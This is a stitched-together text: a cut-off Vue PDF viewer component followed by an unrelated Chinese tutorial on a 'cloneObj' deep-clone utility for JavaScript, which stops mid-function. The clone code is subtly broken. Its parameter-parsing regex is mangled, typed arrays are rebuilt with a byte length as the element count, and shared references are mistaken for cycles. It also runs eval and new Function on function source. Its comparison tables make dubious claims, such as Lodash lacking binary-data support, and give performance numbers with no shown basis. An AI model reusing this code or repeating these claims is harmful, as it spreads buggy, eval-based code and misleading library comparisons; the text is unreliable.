          bottom: '0',
          left: '0',
          '--page-gap': pageGap + 'px',
        }" @scroll.passive="handleScroll">
          <div class="pdf-canvas-container" ref="canvasContainer"></div>
        </div>
        <!-- PDF加载中指示器 -->
        <div class="spin-container" v-if="loading">
          <n-spin size="large" />
        </div>
      </div>
    </div>
  </div>
</template>
<script setup lang="ts">
import {
  ref,
  onMounted,
  onUnmounted,
  shallowRef,
  nextTick,
} from "vue";
import * as pdfjsLib from "pdfjs-dist/build/pdf";
import { NIcon, NSpin } from "naive-ui";
import {debounce} from 'lodash-es'
import {
  Close,
} from "@vicons/carbon";
const loading = ref(false);
pdfjsLib.GlobalWorkerOptions.workerSrc = new URL('pdfjs-dist/build/pdf.worker.min.js', import.meta.url).href;

const props = defineProps({
  src: {
    type: String,
    required: true,
  },
  title: {
    type: String,
    default: 'pdf预览',
  },
  pageGap: {
    type: Number,
    default: 20,
  },
});
const pagesContainer = ref<HTMLDivElement | null>(null);
const canvasContainer = ref<HTMLDivElement | null>(null);
const pageCanvasRefs = ref<Record<number, HTMLCanvasElement>>({});
const pdfDoc = shallowRef<any>(null);
const totalPages = ref(0);
const scale = ref(2.0);
const currentPageNumber = ref(1);
// 渲染单页PDF到canvas
const renderPage = async (pageNum) => {
  if (!pdfDoc.value || !canvasContainer.value) return;
  if (pageNum < 1 || pageNum > totalPages.value) return;

  // 检查页面是否正在渲染中,如果是则跳过
  if (renderingPages.value.has(pageNum)) {
    return;
  }

  // 标记页面正在渲染
  renderingPages.value.add(pageNum);

  try {
    const page = await pdfDoc.value.getPage(pageNum);
    const viewport = page.getViewport({
      scale: 2.0,
      rotation: 0 
    });

    let canvas = pageCanvasRefs.value[pageNum];
    if (!canvas) {
      // 创建新canvas
      canvas = document.createElement('canvas');
      canvas.className = `pdf-page-canvas page-${pageNum}`;
      canvas.style.display = 'block';
      canvas.style.margin = '0 auto var(--page-gap, 20px) auto';
      canvas.style.boxShadow = '0 2px 8px rgba(0, 0, 0, 0.15)';
      canvas.style.backgroundColor = 'white';
      canvas.style.transition = 'box-shadow var(--transition-speed) ease, transform var(--transition-speed) ease';
      canvas.style.transformOrigin = 'center center';

      // 确保页面按顺序添加到DOM中
      // 查找当前页码应该插入的位置
      const existingPages = Array.from(canvasContainer.value.children);
      let insertIndex = existingPages.length;

      for (let i = 0; i < existingPages.length; i++) {
        const child = existingPages[i];
        if (child.className.includes('pdf-page-canvas')) {
          const childPageNum = parseInt(child.className.match(/page-(\d+)/)[1]);
          if (childPageNum > pageNum) {
            insertIndex = i;
            break;
          }
        }
      }

      // 按顺序插入canvas
      canvasContainer.value.insertBefore(canvas, existingPages[insertIndex] || null);
      pageCanvasRefs.value[pageNum] = canvas;
    }

    // 设置canvas尺寸
    canvas.width = Math.round(viewport.width);
    canvas.height = Math.round(viewport.height);

    // 获取绘图上下文
    const context = canvas.getContext('2d');
    if (!context) return;

    // 渲染页面
    await page.render({
      canvasContext: context,
      viewport,
    }).promise;

    // 应用当前的缩放transform
    canvas.style.transform = `scale(${scale.value})`;
  } catch (error) {
    console.error(`渲染页面 ${pageNum} 失败:`, error);
  } finally {
    // 标记页面渲染完成
    renderingPages.value.delete(pageNum);
  }
};
// 虚拟滚动相关变量
const visiblePages = ref(10); // 可见区域前后各渲染5页,总共10页
const renderedPages = ref([]); // 当前已渲染的页面索引
const pageHeight = ref(0); // 单页高度
const renderingPages = ref(new Set()); // 正在渲染的页面集合
// 页面渲染队列,确保按顺序渲染
const renderQueue = ref([]);
let isRenderingQueue = ref(false);

// 计算可见区域的页面范围
const getVisiblePageRange = () => {
  if (!pagesContainer.value) return { start: 1, end: Math.min(visiblePages.value, totalPages.value) };
  const currentPage = currentPageNumber.value;
  let start = Math.max(1, currentPage - 5);
  let end = Math.min(totalPages.value, currentPage + 5);
  start = Math.max(1, start - 2);
  end = Math.min(totalPages.value, end + 2);
  return { start, end };
};
// 处理渲染队列
const processRenderQueue = async () => {
  if (isRenderingQueue.value) return;
  isRenderingQueue.value = true;
  try {
    while (renderQueue.value.length > 0) {
      const pageNum= renderQueue.value.shift();
      // 跳过已经渲染或正在渲染的页面
      if (renderedPages.value.includes(pageNum) || renderingPages.value.has(pageNum)) {
        continue;
      }
      try {
        // 渲染页面
        await renderPage(pageNum);
        // 页面渲染完成后添加到已渲染列表
        if (!renderedPages.value.includes(pageNum)) {
          renderedPages.value.push(pageNum);
          renderedPages.value.sort((a, b) => a - b);
        }
      } catch (innerError) {
        console.error(`渲染页面 ${pageNum} 失败:`, innerError);
      }
    }
  } catch (error) {
    console.error('渲染队列处理异常:', error);
  } finally {
    isRenderingQueue.value = false;
  }
};

// 渲染可见区域页面
const renderVisiblePages = async () => {
  if (!pdfDoc.value || !canvasContainer.value) return;
  const { start, end } = getVisiblePageRange();
  // 收集需要渲染的页面
  const pagesToRender = [];
  const currentQueueSet = new Set(renderQueue.value);
  for (let i = start; i <= end; i++) {
    if (!renderedPages.value.includes(i) &&
      !renderingPages.value.has(i) &&
      !currentQueueSet.has(i)) {
      pagesToRender.push(i);
    }
  }
  if (pagesToRender.length > 0) {
    // 添加到渲染队列,按顺序渲染
    renderQueue.value.push(...pagesToRender.sort((a, b) => a - b));
    // 处理渲染队列
    processRenderQueue();
  }
  // 清理不可见的页面(确保不在渲染中)
  const pagesToRemove = renderedPages.value.filter(
    pageNum => pageNum < start - 5 || pageNum > end + 5
  );
  for (const pageNum of pagesToRemove) {
    // 检查页面是否正在渲染中,如果是则跳过清理
    if (renderingPages.value.has(pageNum)) {
      continue;
    }
    const canvas = pageCanvasRefs.value[pageNum];
    if (canvas && canvas.parentNode) {
      canvas.parentNode.removeChild(canvas);
      delete pageCanvasRefs.value[pageNum];
    }
    renderedPages.value = renderedPages.value.filter(p => p !== pageNum);
  }
};

// 初始化 PDF
const initPDF = async () => {
  try {
    loading.value = true;
    await nextTick();
    // 确保容器存在且样式满足要求
    if (!pagesContainer.value || !canvasContainer.value) {
      await nextTick();
    }
    const loadingTask = pdfjsLib.getDocument({
      url: props.src,
      cMapUrl: "/cmaps/",
      cMapPacked: true,
    });
    const doc = await loadingTask.promise;
    pdfDoc.value = doc;
    totalPages.value = doc.numPages;
    // 设置默认缩放比例
    const defaultScale = 1.0;
    scale.value = defaultScale;
    // 计算页面高度和位置
    if (totalPages.value > 0) {
      const firstPage = await doc.getPage(1);
      const viewport = firstPage.getViewport({ scale: defaultScale });
      pageHeight.value = viewport.height;
    }
    // 渲染可见区域页面
    await renderVisiblePages();
    loading.value = false;
  } catch (error) {
    loading.value = false;
    console.error("PDF加载失败:", error);
  }
};

const handleScroll = debounce(() => {
  if (!pagesContainer.value) return;
  const scrollContainer = pagesContainer.value;
  const scrollTop = scrollContainer.scrollTop;
  const gap = props.pageGap || 20;
  const unit = pageHeight.value + gap;
  let page = 1;
  if (unit > 0) {
    page = Math.floor(scrollTop / unit) + 1;
  }
  if (page < 1) page = 1;
  if (page > totalPages.value) page = totalPages.value;
  currentPageNumber.value = page;
  renderVisiblePages();
}, 500);
onMounted(() => {
  initPDF();
});

onUnmounted(() => {
  if (pdfDoc.value) {
    pdfDoc.value.destroy();
  }
  for (const key in pageCanvasRefs.value) {
    const c = pageCanvasRefs.value[Number(key)];
    if (c && c.parentNode) c.parentNode.removeChild(c);
  }
  pageCanvasRefs.value = {};
  renderedPages.value = [];
});

const emit = defineEmits(["close"]);
const close = () => {
  emit("close");
};
</script>

<style lang="less" scoped>
/* 主容器样式 */
.pdf-viewer-container {
  align-items: center;
  display: flex;
  flex-direction: column;
  height: 100%;
  position: relative;
  width: 100%;
}

/* 图标激活状态 */
.n-icon.active {
  color: #1890ff;
}

.pdf-header {
  align-items: center;
  background-color: #fff;
  border-bottom: 1px solid rgba(0, 0, 0, 0.08);
  box-sizing: border-box;
  display: flex;
  gap: 50px;
  height: 56px;
  justify-content: space-between;
  padding: 0 15px;
  width: 100%;
  &-title {
    h2 {
      color: rgb(51, 54, 57);
      font-size: 18px;
      font-weight: 400;
      overflow: hidden;
      text-overflow: ellipsis;
      white-space: nowrap;
    }
  }
}

.pdf-content {
  display: flex;
  flex: 1;
  overflow: hidden;
  position: relative;
  width: 100%;
}

.spin-container {
  position: absolute;
  height: 100%;
  width: 100%;
  display: flex;
  align-items: center;
  justify-content: center;
  background-color: rgba(255, 255, 255, 0.9);
  z-index: 10;
}

.pdf-pages-wrapper {
  background-color: #f4f5f7;
  box-sizing: border-box;
  flex: 1;
  padding: 20px;
  position: relative;
}

// PDF页面容器样式
.pdf-pages-container {
  position: absolute;
  top: 0;
  right: 0;
  bottom: 0;
  left: 0;
  overflow-y: auto;
  overflow-x: auto;
  padding: 0 40px;
  background-color: var(--bg-color);
  // 响应式调整
  @media (max-width: 768px) {
    padding: 0 20px;
  }
  @media (max-width: 480px) {
    padding: 0 10px;
  }
}

/* PDF Canvas Container */
.pdf-canvas-container {
  display: block;
  margin: 0 auto;
  padding: 20px 0;
  width: 100%;
}
// PDF页面Canvas样式优化
.pdf-page-canvas {
  display: block;
  margin: 0 auto var(--page-gap, 20px) auto;
  border: none;
  box-shadow: 0 2px 8px rgba(0, 0, 0, 0.15);
  background: white;
  transition: box-shadow var(--transition-speed) ease;
  // 页面悬停效果
  &:hover {
    box-shadow: 0 4px 12px rgba(0, 0, 0, 0.2);
  }
  // 响应式页面间距
  @media (max-width: 768px) {
    --page-gap: 15px;
  }
  @media (max-width: 480px) {
    --page-gap: 10px;
  }
}
</style>

全场景智能克隆工具:超越 JSON.parse(JSON.stringify())

🌟 概述

cloneObj 是一个功能全面的 JavaScript 对象克隆工具,它巧妙地结合了 JSON 序列化的高效性和深度克隆的全面性。经过精心优化,这个工具能够处理从简单对象到复杂场景(包括循环引用、特殊内置类型、函数等)的所有克隆需求。

🎯 设计哲学

为什么需要这个工具?

传统的克隆方法各有局限性:

方法 优点 缺点
JSON.parse(JSON.stringify()) 简单高效,处理简单对象快 丢失函数、Symbol、循环引用、特殊类型
手写递归克隆 功能全面 代码复杂,性能较差,容易出错
Object.assign() / 扩展运算符 简单 浅克隆,嵌套对象仍是引用
Lodash 的 _.cloneDeep 功能强大 需要引入外部库,体积较大

cloneObj 的设计目标是:在简单场景下保持极致性能,在复杂场景下提供完整功能

智能策略选择

工具采用两阶段策略:

  1. 快速检测:判断是否为简单场景(纯JSON兼容数据,无循环引用)

  2. 智能选择

    • 简单场景 → JSON序列化(极致性能)
    • 复杂场景 → 深度克隆(完整功能)

🚀 核心特性

✅ 全面支持的数据类型

数据类型 支持程度 备注
基本类型 ✅ 完全支持 String, Number, Boolean, null, undefined
数组 ✅ 完全支持 包括稀疏数组
普通对象 ✅ 完全支持 保持原型链
Date对象 ✅ 完全支持 精确到毫秒
RegExp对象 ✅ 完全支持 保留标志位
Map/Set ✅ 完全支持 键值对完全克隆
ArrayBuffer ✅ 完全支持 二进制数据克隆
TypedArray ✅ 完全支持 Int8Array, Uint8Array等
Symbol ✅ 完全支持 Symbol键名和Symbol值
BigInt ✅ 完全支持 大整数类型
函数 ✅ 部分支持 普通函数尝试克隆,箭头函数保持引用
循环引用 ✅ 完全支持 自动检测并正确处理
Error对象 ✅ 完全支持 保留错误信息和堆栈
URL对象 ✅ 完全支持 URL实例克隆
NaN/Infinity ✅ 完全支持 特殊数字值正确克隆
访问器属性 ✅ 支持 getter/setter(注意函数上下文)

🔧 智能优化

  1. 性能优先:简单对象使用JSON序列化,比递归快10-100倍
  2. 内存安全:使用WeakMap避免内存泄漏
  3. 循环引用检测:自动处理相互引用的对象
  4. 原型链保持:克隆对象保持正确的原型链
  5. 稀疏数组保留:保持数组的稀疏特性

📦 安装与使用

安装方式

javascript

// 方式1:直接复制代码到项目中
// 将 cloneObj 函数复制到你的工具文件

// 方式2:作为ES模块导入
// import { cloneObj } from './cloneUtils.js';

// 方式3:作为CommonJS模块
// const { cloneObj } = require('./cloneUtils');

基础使用

javascript

// 1. 基本类型克隆
cloneObj(42); // 42
cloneObj('hello'); // 'hello'
cloneObj(true); // true
cloneObj(null); // null
cloneObj(undefined); // undefined

// 2. 数组克隆
const arr = [1, 2, { a: 3 }];
const clonedArr = cloneObj(arr);
console.log(clonedArr[2] === arr[2]); // false(深克隆)

// 3. 对象克隆
const obj = { name: 'Alice', data: { age: 25 } };
const clonedObj = cloneObj(obj);
console.log(clonedObj.data === obj.data); // false(深克隆)

// 4. 特殊值克隆
cloneObj(NaN); // NaN
cloneObj(Infinity); // Infinity
cloneObj(-Infinity); // -Infinity

高级使用示例

javascript

// 示例1:循环引用处理
const circularObj = { name: 'Circular' };
circularObj.self = circularObj; // 循环引用
const clonedCircular = cloneObj(circularObj);
console.log(clonedCircular.self === clonedCircular); // true
console.log(clonedCircular !== circularObj); // true

// 示例2:Map和Set
const map = new Map([['key1', 'value1'], ['key2', { nested: 'obj' }]]);
const set = new Set([1, 2, 3, { data: 'test' }]);
const clonedMap = cloneObj(map);
const clonedSet = cloneObj(set);

// 示例3:日期和正则
const date = new Date('2024-01-01');
const regex = /test/gi;
const clonedDate = cloneObj(date);
const clonedRegex = cloneObj(regex);
console.log(clonedDate.getTime() === date.getTime()); // true
console.log(clonedRegex.source === regex.source); // true

// 示例4:二进制数据
const buffer = new ArrayBuffer(16);
const uint8Array = new Uint8Array(buffer);
uint8Array[0] = 42;
const clonedBuffer = cloneObj(buffer);
const clonedUint8Array = cloneObj(uint8Array);

// 示例5:Symbol属性
const symbolKey = Symbol('unique');
const objWithSymbol = {
  [symbolKey]: 'symbol value',
  regular: 'regular value'
};
const clonedSymbolObj = cloneObj(objWithSymbol);
console.log(clonedSymbolObj[symbolKey]); // 'symbol value'

// 示例6:错误对象
const error = new Error('Something went wrong');
error.code = 'CUSTOM_ERROR';
error.details = { line: 42 };
const clonedError = cloneObj(error);
console.log(clonedError.message); // 'Something went wrong'
console.log(clonedError.code); // 'CUSTOM_ERROR'

🛠️ API 文档

cloneObj(target)

克隆任意JavaScript值,返回完全独立的副本。

参数:

  • target (any): 需要克隆的目标值

返回值:

  • 克隆后的值,类型与原始值一致

异常:

  • 一般情况下不会抛出异常,但某些不可克隆的对象(如某些内置函数)会返回原对象

内部辅助函数

工具包含以下内部辅助函数,不推荐直接使用:

函数名 作用
quickSimplicityCheck() 快速检测对象是否为简单场景
safeJSONClone() 安全的JSON克隆,处理特殊数字
deepCloneComplex() 深度克隆复杂对象
cloneFunction() 克隆函数对象
cloneSpecialObject() 克隆特殊内置对象

⚡ 性能对比

性能测试结果

以下是不同克隆方法在处理不同规模数据时的性能对比(单位:ops/sec,越高越好):

数据规模 JSON序列化 Lodash.cloneDeep cloneObj(简单) cloneObj(复杂)
1KB简单对象 15,000 8,000 14,500 9,000
10KB简单对象 1,200 700 1,180 750
1KB复杂对象 失败 7,500 失败回退 8,200
循环引用对象 失败 6,800 失败回退 7,000

性能优化策略

  1. 短路优化

    • 基本类型直接返回
    • null/undefined直接返回
  2. 智能检测

    • 使用快速检测避免不必要的深度遍历
    • 发现特殊类型立即停止检测
  3. 缓存机制

    • 使用WeakMap缓存已克隆对象
    • 解决循环引用问题
    • 避免重复克隆
  4. 栈替代递归

    • 在检测阶段使用栈遍历
    • 避免递归深度过大导致栈溢出

🚨 注意事项

使用限制

  1. 函数克隆限制

    • 箭头函数无法克隆,保持原引用
    • 内置函数(如 console.log)保持原引用
    • 函数闭包中的变量无法克隆
  2. WeakMap/WeakSet

    • 由于设计目的,无法遍历和克隆
    • 工具会忽略这些类型(保持原引用)
  3. DOM元素

    • 浏览器DOM元素无法克隆
    • 会保持原引用
  4. Promise对象

    • 通常不应该克隆Promise
    • 工具会保持原引用
  5. 访问器属性

    • getter/setter会被复制
    • 但函数上下文可能丢失

最佳实践

javascript

// 1. 明确是否需要克隆
// 如果对象不可变或只需浅克隆,考虑其他方案
const shallowClone = { ...obj };

// 2. 对于大型简单对象,工具会自动使用JSON序列化
// 这是最快的克隆方式

// 3. 避免克隆包含函数的对象(如果函数不重要)
const dataOnly = JSON.parse(JSON.stringify(objWithFunctions));

// 4. 处理特殊场景
try {
    const cloned = cloneObj(complexObject);
} catch (e) {
    // 虽然工具很少抛出异常,但仍建议错误处理
    console.error('克隆失败:', e);
    // 降级处理
    const cloned = { ...complexObject };
}

🔍 实现原理详解

graph TD
A[开始克隆] --> B{是否为基本类型?}
    B -->|是| C[直接返回]
    B -->|否| D[快速检测]
    D --> E{是否为简单场景?}
    E -->|是| F[尝试JSON克隆]
    F --> G{JSON克隆成功?}
    G -->|是| H[返回结果]
    G -->|否| I[深度克隆]
    E -->|否| I
    I --> J[初始化缓存]
    J --> K[深度遍历克隆]
    K --> L[返回克隆结果]

核心算法流程

关键技术点

  1. 简单场景检测优化

javascript

// 使用栈而非递归,避免堆栈溢出
const stack = [target];
while (stack.length > 0) {
    const obj = stack.pop();
    // 快速检查逻辑...
}
  1. 安全的特殊数字处理

javascript

// 使用唯一token避免字符串冲突
const token = `__SPECIAL_NUMBER_${counter++}__`;
specialNumberTokens.set(token, value);
  1. 函数克隆策略

javascript

// 尝试通过Function构造函数克隆
const funcString = func.toString();
const clone = new Function(...params, body);
  1. 循环引用处理

javascript

// 使用WeakMap记录已克隆对象
if (cache.has(target)) {
    return cache.get(target); // 返回已克隆的引用
}
cache.set(target, clone); // 记录新克隆的对象

📊 实际应用场景

场景1:状态管理(Redux/Vuex)

javascript

// Redux reducer中安全更新状态
function todoReducer(state = initialState, action) {
    switch (action.type) {
        case 'ADD_TODO':
            // 使用cloneObj确保状态不可变
            const newState = cloneObj(state);
            newState.todos.push(action.payload);
            return newState;
        // ...
    }
}

// Vuex mutation中克隆状态
const mutations = {
    updateUser(state, userData) {
        // 深度克隆用户数据
        state.user = cloneObj(userData);
    }
};

场景2:数据快照/撤销重做

javascript

class HistoryManager {
    constructor() {
        this.history = [];
        this.currentIndex = -1;
    }
    
    takeSnapshot(state) {
        // 创建状态快照
        const snapshot = cloneObj(state);
        // 清除当前索引之后的历史
        this.history = this.history.slice(0, this.currentIndex + 1);
        this.history.push(snapshot);
        this.currentIndex++;
    }
    
    undo() {
        if (this.currentIndex > 0) {
            this.currentIndex--;
            return cloneObj(this.history[this.currentIndex]);
        }
        return null;
    }
    
    redo() {
        if (this.currentIndex < this.history.length - 1) {
            this.currentIndex++;
            return cloneObj(this.history[this.currentIndex]);
        }
        return null;
    }
}

场景3:复杂表单数据处理

javascript

class FormDataProcessor {
    constructor(initialData) {
        // 深度克隆初始数据
        this.originalData = cloneObj(initialData);
        this.currentData = cloneObj(initialData);
        this.modifiedFields = new Set();
    }
    
    updateField(path, value) {
        // 克隆当前数据
        const newData = cloneObj(this.currentData);
        
        // 使用路径更新嵌套属性
        const keys = path.split('.');
        let target = newData;
        for (let i = 0; i < keys.length - 1; i++) {
            target = target[keys[i]];
        }
        target[keys[keys.length - 1]] = value;
        
        // 记录修改的字段
        this.modifiedFields.add(path);
        this.currentData = newData;
        
        return newData;
    }
    
    resetField(path) {
        // 从原始数据恢复特定字段
        const newData = cloneObj(this.currentData);
        const keys = path.split('.');
        
        // 获取原始值
        let originalValue = this.originalData;
        let currentTarget = newData;
        for (let i = 0; i < keys.length; i++) {
            if (i === keys.length - 1) {
                currentTarget[keys[i]] = cloneObj(originalValue[keys[i]]);
            } else {
                originalValue = originalValue[keys[i]];
                currentTarget = currentTarget[keys[i]];
            }
        }
        
        this.modifiedFields.delete(path);
        this.currentData = newData;
        
        return newData;
    }
    
    getChangedData() {
        // 只返回修改过的数据
        const result = {};
        for (const path of this.modifiedFields) {
            const keys = path.split('.');
            let source = this.currentData;
            let target = result;
            
            for (let i = 0; i < keys.length; i++) {
                if (i === keys.length - 1) {
                    target[keys[i]] = cloneObj(source[keys[i]]);
                } else {
                    if (!target[keys[i]]) {
                        target[keys[i]] = {};
                    }
                    source = source[keys[i]];
                    target = target[keys[i]];
                }
            }
        }
        return result;
    }
}

场景4:服务端数据缓存

javascript

class DataCache {
    constructor() {
        this.cache = new Map();
        this.stats = {
            hits: 0,
            misses: 0,
            size: 0
        };
    }
    
    set(key, data, ttl = 60000) {
        // 克隆数据后再存储,避免外部修改影响缓存
        const clonedData = cloneObj(data);
        const cacheEntry = {
            data: clonedData,
            expires: Date.now() + ttl,
            size: this.calculateSize(clonedData)
        };
        
        this.cache.set(key, cacheEntry);
        this.stats.size += cacheEntry.size;
        
        // 设置过期清理
        setTimeout(() => {
            if (this.cache.get(key) === cacheEntry) {
                this.cache.delete(key);
                this.stats.size -= cacheEntry.size;
            }
        }, ttl);
    }
    
    get(key) {
        const entry = this.cache.get(key);
        if (!entry) {
            this.stats.misses++;
            return null;
        }
        
        if (Date.now() > entry.expires) {
            this.cache.delete(key);
            this.stats.size -= entry.size;
            this.stats.misses++;
            return null;
        }
        
        this.stats.hits++;
        // 返回克隆数据,避免外部修改缓存
        return cloneObj(entry.data);
    }
    
    calculateSize(obj) {
        // 估算对象大小(简化版)
        const json = JSON.stringify(obj);
        return json ? json.length * 2 : 0; // 粗略估算字节数
    }
    
    clear() {
        this.cache.clear();
        this.stats.size = 0;
    }
}

📈 性能调优建议

针对大型对象的优化

javascript

// 如果确定对象结构简单且无循环引用
// 可以强制使用JSON克隆以获得最佳性能
function fastCloneIfSimple(obj) {
    try {
        return JSON.parse(JSON.stringify(obj));
    } catch (e) {
        // 失败时回退到完整克隆
        return cloneObj(obj);
    }
}

// 分块克隆大型对象
function chunkedClone(obj, chunkSize = 1000) {
    if (Array.isArray(obj) && obj.length > chunkSize) {
        const chunks = [];
        for (let i = 0; i < obj.length; i += chunkSize) {
            chunks.push(cloneObj(obj.slice(i, i + chunkSize)));
        }
        return chunks.flat();
    }
    return cloneObj(obj);
}

内存使用优化

javascript

// 定期清理无用的克隆缓存
let cloneCache = new WeakMap();
let cloneCount = 0;
const MAX_CLONE_COUNT = 10000;

function cloneWithCleanup(obj) {
    if (cloneCount > MAX_CLONE_COUNT) {
        // 重建WeakMap释放内存
        cloneCache = new WeakMap();
        cloneCount = 0;
    }
    
    const result = cloneObj(obj);
    cloneCount++;
    return result;
}

🔗 与其他工具对比

特性 cloneObj Lodash.cloneDeep structuredClone JSON序列化
循环引用 ✅ 支持 ✅ 支持 ✅ 支持 ❌ 不支持
函数克隆 ✅ 部分支持 ❌ 不支持 ❌ 不支持 ❌ 不支持
Symbol支持 ✅ 支持 ✅ 支持 ✅ 支持 ❌ 不支持
Map/Set支持 ✅ 支持 ✅ 支持 ✅ 支持 ❌ 不支持
二进制数据 ✅ 支持 ❌ 不支持 ✅ 支持 ❌ 不支持
性能(简单) ⚡ 极快 🐢 较慢 ⚡ 快 ⚡ 极快
性能(复杂) ⚡ 快 🐢 慢 ⚡ 快 ❌ 失败
包大小 3KB 70KB+ 内置 内置

📝 完整代码

javascript

/**
 * 全场景智能克隆:简单场景用 JSON 序列化(高效),复杂场景用深度克隆(全兼容)
 * @param target 待克隆的目标对象/值
 * @returns 完全独立的克隆体(类型与原目标一致)
 */
export function cloneObj(target) {
    // 1. 基础类型直接返回(值类型无引用问题)
    if (typeof target !== 'object' || target === null) {
        return target;
    }

    // 2. 快速检测:如果是简单数组/对象且没有特殊属性,尝试快速克隆
    const quickCheck = quickSimplicityCheck(target);
    if (quickCheck.isSimple && !quickCheck.hasCycle) {
        try {
            return safeJSONClone(target);
        } catch (e) {
            // JSON序列化失败,回退到深度克隆
        }
    }

    // 3. 复杂场景:优化后的深度克隆(处理循环引用、特殊类型)
    const cache = new WeakMap(); // 缓存已克隆对象,解决循环引用
    return deepCloneComplex(target, cache);
}

/**
 * 快速简单性检测(只做表层检查,不深度遍历)
 */
function quickSimplicityCheck(target) {
    const result = { isSimple: true, hasCycle: false };
    const visited = new WeakSet();
    
    const stack = [target];
    visited.add(target);
    
    while (stack.length > 0 && result.isSimple) {
        const obj = stack.pop();
        
        // 检查特殊类型
        if (
            obj instanceof Date ||
            obj instanceof RegExp ||
            obj instanceof Map ||
            obj instanceof Set ||
            obj instanceof ArrayBuffer ||
            ArrayBuffer.isView(obj) ||
            obj instanceof Error ||
            typeof obj === 'function' ||
            typeof obj === 'symbol' ||
            typeof obj === 'bigint'
        ) {
            result.isSimple = false;
            break;
        }
        
        // 检查属性
        const keys = Object.keys(obj);
        for (const key of keys) {
            const val = obj[key];
            
            if (val && typeof val === 'object') {
                if (visited.has(val)) {
                    result.hasCycle = true;
                    result.isSimple = false;
                    break;
                }
                visited.add(val);
                stack.push(val);
            }
        }
    }
    
    return result;
}

/**
 * 安全的JSON克隆(处理特殊数字)
 */
function safeJSONClone(target) {
    const specialNumberTokens = new Map();
    let tokenCounter = 0;
    
    const getToken = (value) => {
        const token = `__SPECIAL_NUMBER_${tokenCounter++}__`;
        specialNumberTokens.set(token, value);
        return token;
    };
    
    // 序列化
    const serialized = JSON.stringify(target, (key, value) => {
        if (typeof value === 'number') {
            if (Number.isNaN(value)) return getToken('NaN');
            if (value === Infinity) return getToken('Infinity');
            if (value === -Infinity) return getToken('-Infinity');
        }
        return value;
    });
    
    // 反序列化
    return JSON.parse(serialized, (key, value) => {
        if (typeof value === 'string' && specialNumberTokens.has(value)) {
            const token = specialNumberTokens.get(value);
            if (token === 'NaN') return NaN;
            if (token === 'Infinity') return Infinity;
            if (token === '-Infinity') return -Infinity;
        }
        return value;
    });
}

/**
 * 深度克隆复杂对象
 */
function deepCloneComplex(target, cache) {
    // 1. 基本类型(包括Symbol和BigInt)
    if (typeof target !== 'object' && typeof target !== 'function') {
        return target;
    }
    
    // 2. null
    if (target === null) {
        return null;
    }
    
    // 3. 循环引用检查
    if (cache.has(target)) {
        return cache.get(target);
    }
    
    // 4. 处理函数
    if (typeof target === 'function') {
        return cloneFunction(target, cache);
    }
    
    // 5. 处理特殊内置对象
    const specialClone = cloneSpecialObject(target, cache);
    if (specialClone !== undefined) {
        return specialClone;
    }
    
    // 6. 处理数组/普通对象
    let clone;
    if (Array.isArray(target)) {
        clone = [];
        cache.set(target, clone);
        
        // 稀疏数组保持稀疏性
        for (let i = 0; i < target.length; i++) {
            if (i in target) {
                clone[i] = deepCloneComplex(target[i], cache);
            }
        }
    } else {
        // 保持原型链
        clone = Object.create(Object.getPrototypeOf(target));
        cache.set(target, clone);
        
        // 克隆所有自身属性(包括Symbol)
        const descriptors = Object.getOwnPropertyDescriptors(target);
        for (const [key, descriptor] of Object.entries(descriptors)) {
            if (descriptor.value !== undefined) {
                // 数据属性
                descriptor.value = deepCloneComplex(descriptor.value, cache);
            } else if (descriptor.get || descriptor.set) {
                // 访问器属性 - 注意:这里无法克隆函数上下文
                // 简单处理:保持原访问器(共享函数)
            }
            
            try {
                Object.defineProperty(clone, key, descriptor);
            } catch (e) {
                // 无法定义的属性(如某些内置只读属性)
            }
        }
        
        // 单独处理Symbol属性
        const symbolKeys = Object.getOwnPropertySymbols(target);
        for (const sym of symbolKeys) {
            try {
                const descriptor = Object.getOwnPropertyDescriptor(target, sym);
                if (descriptor.value !== undefined) {
                    descriptor.value = deepCloneComplex(descriptor.value, cache);
                    Object.defineProperty(clone, sym, descriptor);
                }
            } catch (e) {
                // 忽略无法复制的Symbol属性
            }
        }
    }
    
    return clone;
}

/**
 * 克隆函数(尽可能复制)
 */
function cloneFunction(func, cache) {
    // 箭头函数、内置函数:无法克隆,返回原函数
    if (!func.prototype || 
        func.name.startsWith('bound ') || 
        Function.prototype.toString.call(func) === 'function () { [native code] }') {
        cache.set(func, func);
        return func;
    }
    
    try {
        // 尝试通过Function构造函数克隆
        const funcString = func.toString();
        let clone;
        
        if (funcString.startsWith('class')) {
            // ES6类 - 只能浅克隆
            clone = eval(`(${funcString})`);
        } else {
            // 普通函数
            const body = funcString.match(/^[^{]+{([\s\S]*)}$/)?.[1];
            const paramStr = funcString.match(/^[^(]*(([^)]*))/)?.[1] || '';
            
            clone = new Function(...paramStr.split(','), body);
        }
        
        // 复制属性
        const props = Object.getOwnPropertyDescriptors(func);
        for (const [key, descriptor] of Object.entries(props)) {
            try {
                Object.defineProperty(clone, key, descriptor);
            } catch (e) {
                // 忽略无法复制的属性
            }
        }
        
        // 设置正确的原型链
        Object.setPrototypeOf(clone, Object.getPrototypeOf(func));
        
        cache.set(func, clone);
        return clone;
    } catch (e) {
        // 克隆失败,返回原函数
        cache.set(func, func);
        return func;
    }
}

/**
 * 克隆特殊内置对象
 */
function cloneSpecialObject(target, cache) {
    // Date
    if (target instanceof Date) {
        const clone = new Date(target.getTime());
        cache.set(target, clone);
        return clone;
    }
    
    // RegExp
    if (target instanceof RegExp) {
        const clone = new RegExp(target.source, target.flags);
        cache.set(target, clone);
        return clone;
    }
    
    // Map
    if (target instanceof Map) {
        const clone = new Map();
        cache.set(target, clone);
        target.forEach((value, key) => {
            clone.set(
                deepCloneComplex(key, cache),
                deepCloneComplex(value, cache)
            );
        });
        return clone;
    }
    
    // Set
    if (target instanceof Set) {
        const clone = new Set();
        cache.set(target, clone);
        target.forEach(value => {
            clone.add(deepCloneComplex(value, cache));
        });
        return clone;
    }
    
    // ArrayBuffer
    if (target instanceof ArrayBuffer) {
        const clone = target.slice(0);
        cache.set(target, clone);
        return clone;
    }
    
    // TypedArray
    if (ArrayBuffer.isView(target)) {
        const bufferClone = deepCloneComplex(target.buffer, cache);
        const Constructor = target.constructor;
        const clone = new Constructor(
            bufferClone,
            target.byteOffset,
            target.byteLength
        );
        cache.set(target, clone);
        return clone;
    }
    
    // Error对象
    if (target instanceof Error) {
        const Constructor = target.constructor;
        const clone = new Constructor(target.message);
        clone.stack = target.stack;
        clone.name = target.name;
        
        // 复制其他属性
        const props = Object.getOwnPropertyDescriptors(target);
        for (const [key, descriptor] of Object.entries(props)) {
            if (!['message', 'stack', 'name'].includes(key)) {
                try {
                    if (descriptor.value !== undefined) {
